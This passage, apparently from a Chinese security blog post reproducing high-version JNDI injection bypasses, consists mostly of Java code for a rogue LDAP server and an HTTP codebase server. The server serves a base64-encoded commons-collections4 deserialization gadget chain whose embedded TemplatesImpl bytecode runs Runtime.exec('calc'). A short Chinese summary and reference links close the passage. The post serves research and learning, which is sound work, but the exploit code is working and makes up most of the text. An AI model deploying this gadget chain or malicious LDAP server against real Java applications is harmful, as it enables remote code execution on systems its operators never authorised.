\'/Applications/Calculator.app/Contents/MacOS/Calculator\'|base64e.addAttribute(\"javaSerializedData\",Base64.decode(\"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmsr+ur4AAAA0ABkBABBQcmlvcml0eVF1ZXVlQ0NDBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEAFVByaW9yaXR5UXVldWVDQ0MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYcHQABHRlc3RwdwEAeHEAfgAVeA==\"));} catch (ParseException e1) {e1.printStackTrace();}/** Payload2 end **/result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {System.out.println(\"Starting HTTP server\");HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);httpServer.createContext(\"/\", new HttpFileHandler());httpServer.setExecutor(null);httpServer.start();}public static void main(String[] args) throws Exception {String[] args1 = new String[]{\"127.0.0.1\",\"8888\", \"1389\"};args = args1;System.out.println(\"HttpServerAddress: \"+args[0]);System.out.println(\"HttpServerPort: \"+args[1]);System.out.println(\"LDAPServerPort: \"+args[2]);String http_server_ip = args[0];int ldap_port = Integer.valueOf(args[2]);int http_server_port = Integer.valueOf(args[1]);lanuchCodebaseURLServer(http_server_ip, http_server_port);lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);}}
    • 发起ladp请求,结果如下

    4 总结

    第一时间看到浅蓝师傅的文章后,很想马上学习一下,无奈论文催得紧,过年前复现出了一部分。昨天终于写完了论文,继续来复现,所以前后文的不够通畅。浅蓝师傅还提到了一些其它的用法,但看起来不是特别实用,所以没有复现了。

    经过对JNDI 高版本bypass方法的学习,真的佩服大师傅们对java研究的功力,另外复现过程中也明显感觉出来,jndi bypass的利用必须要依赖一些方便的工具,否则手工做起来真心麻烦,依赖都是一大堆。

    参考

    https://paper.seebug.org/942/

    https://tttang.com/archive/1405/

    https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/

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